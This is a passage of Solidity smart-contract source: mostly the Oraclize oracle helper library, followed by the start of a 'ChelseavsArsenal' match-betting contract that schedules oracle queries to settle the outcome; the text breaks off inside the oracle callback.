uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, ""random"", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex""fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c""; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex""7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4""; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // contract ChelseavsArsenal is usingOraclize { /* Declaration */ address public OWNERS = 0xC3eD2d481B9d75835EC04174b019A7eAF2Faf78A; uint public constant COMMISSION = 0; // Commission for the owner uint public constant MIN_BET = 0.03 ether; uint public EXPECTED_START = 1534609800; // When the bet's event is expected to start uint public EXPECTED_END = 1534624200; // When the bet's event is expected to end uint public constant BETTING_OPENS = 1534214741; uint public BETTING_CLOSES = EXPECTED_START - 60; // Betting closes a minute before the bet event starts uint public constant PING_ORACLE_INTERVAL = 60 * 60 * 24; // Ping oracle every 24 hours until completion (or cancelation) uint public ORACLIZE_GAS = 200000; uint public CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; // Cancelation date is 24 hours after the expected end uint public RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; // Any leftover money is returned to owners 1 month after bet ends bool public completed; bool public canceled; bool public ownersPayed; uint public ownerPayout; bool public returnedToOwners; uint public winnerDeterminedDate; uint public numCollected = 0; bytes32 public nextScheduledQuery; uint public oraclizeFees; uint public collectionFees; struct Better { uint betAmount; uint betOption; bool withdrawn; } mapping(address => Better) betterInfo; address[] public betters; uint[2] public totalAmountsBet; uint[2] public numberOfBets; uint public totalBetAmount; uint public winningOption = 2; /* Events */ event BetMade(); /* Modifiers */ // Modifier to only allow the // determination of the winner modifier canDetermineWinner() { require (winningOption == 2 && !completed && !canceled && now > BETTING_CLOSES && now >= EXPECTED_END); _; } // Modifier to only allow emptying // the remaining value of the contract // to owners. modifier canEmptyRemainings() { require(canceled || completed); uint numRequiredToCollect = canceled ? (numberOfBets[0] + numberOfBets[1]) : numberOfBets[winningOption]; require ((now >= RETURN_DATE && !canceled) || (numCollected == numRequiredToCollect)); _; } // Modifier to only allow the collection // of bet payouts when winner is determined, // (or withdrawals if the bet is canceled) modifier collectionsEnabled() { require (canceled || (winningOption != 2 && completed && now > BETTING_CLOSES)); _; } // Modifier to only allow the execution of // owner payout when winner is determined modifier canPayOwners() { require (!canceled && winningOption != 2 && completed && !ownersPayed && now > BETTING_CLOSES); _; } // Modifier to only allow the execution of // certain functions when betting is closed modifier bettingIsClosed() { require (now >= BETTING_CLOSES); _; } // Modifier to only allow the execution of // certain functions restricted to the owners modifier onlyOwnerLevel() { require( OWNERS == msg.sender ); _; } /* Functions */ // Constructor function ChelseavsArsenal() public payable { callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for outcome } function changeGasLimitAndPrice(uint gas, uint price) public onlyOwnerLevel { ORACLIZE_GAS = gas; oraclize_setCustomGasPrice(price); } // Change bet expected times function setExpectedTimes(uint _EXPECTED_START, uint _EXPECTED_END) public onlyOwnerLevel { setExpectedStart(_EXPECTED_START); setExpectedEnd(_EXPECTED_END); } // Change bet expected start time function setExpectedStart(uint _EXPECTED_START) public onlyOwnerLevel { EXPECTED_START = _EXPECTED_START; BETTING_CLOSES = EXPECTED_START - 60; } // Change bet expected end time function setExpectedEnd(uint _EXPECTED_END) payable public onlyOwnerLevel { require(_EXPECTED_END > EXPECTED_START); EXPECTED_END = _EXPECTED_END; CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for winner } function callOracle(uint timeOrDelay, uint gas) private { require(canceled != true && completed != true); // Make a call to the oracle — // usually a script hosted on IPFS that // Oraclize deploys, after a given delay. We // leave nested query as default to maximize // optionality for queries. // To readers of the code (aka prospective betters) // if this is a computation query, you can view the // script we use to compute the winner, as it is hosted // on IPFS. The first argument in the computation query // is the IPFS hash (script would be located at // ipfs.io/ipfs/). The file hosted at this hash // is actually a zipped folder that contains a Dockerfile and // the script. So, if you download the file at the hash provided, // ensure to convert it to a .zip, unzip it, and read the code. // Oraclize uses the Dockerfile to deploy this script. // Look over the Oraclize documentation to verify this // for yourself. nextScheduledQuery = makeOraclizeQuery(timeOrDelay, ""nested"", ""[computation] ['QmRQAbvyJacfnNVyf4f3SWs1kjKdJf36eaXRvEwA8Wzq6i', '233034', '${[decrypt] BCV2iQTW149Y9Janxj/R9ljaGCpgVHv4QGlthjLvXMr7CmdEmyAplvWDsOlxDBd7P80/HShkJ8HdEZbiuoll/SyLRFq1RLOa5KlsYd1e0OYT7KQ3vQGLMDKdO54nENC7i4wlWWGtPnnrlqXlT2tJL3w=}']"", gas); } function makeOraclizeQuery(uint timeOrDelay, string datasource, string query, uint gas) private returns(bytes32) { oraclizeFees += oraclize_getPrice(datasource, gas); return oraclize_query(timeOrDelay, datasource, query, gas); } // Determine the outcome manually, // immediately function determineWinner(uint gas, uint gasPrice) payable public onlyOwnerLevel canDetermineWinner { ORACLIZE_GAS = gas; oraclize_setCustomGasPrice(gasPrice); callOracle(0, ORACLIZE_GAS); } // Callback from Oraclize function __callback(bytes32 queryId, string result, bytes proof) public canDetermineWinner { require(msg.sender == oraclize_cbAddress()); // The Oracle must always return // an integer (either 0 or 1, or if not then) // it should be 2 if (keccak256(result) != keccak256(""0"") && keccak256(result) != keccak256(""1"")) { // Reschedule winner determination, // unless we're past the point of // cancelation. If nextScheduledQuery is // not the current query, it means that // there's a scheduled future query, so // we can wait for that instead of scheduling // 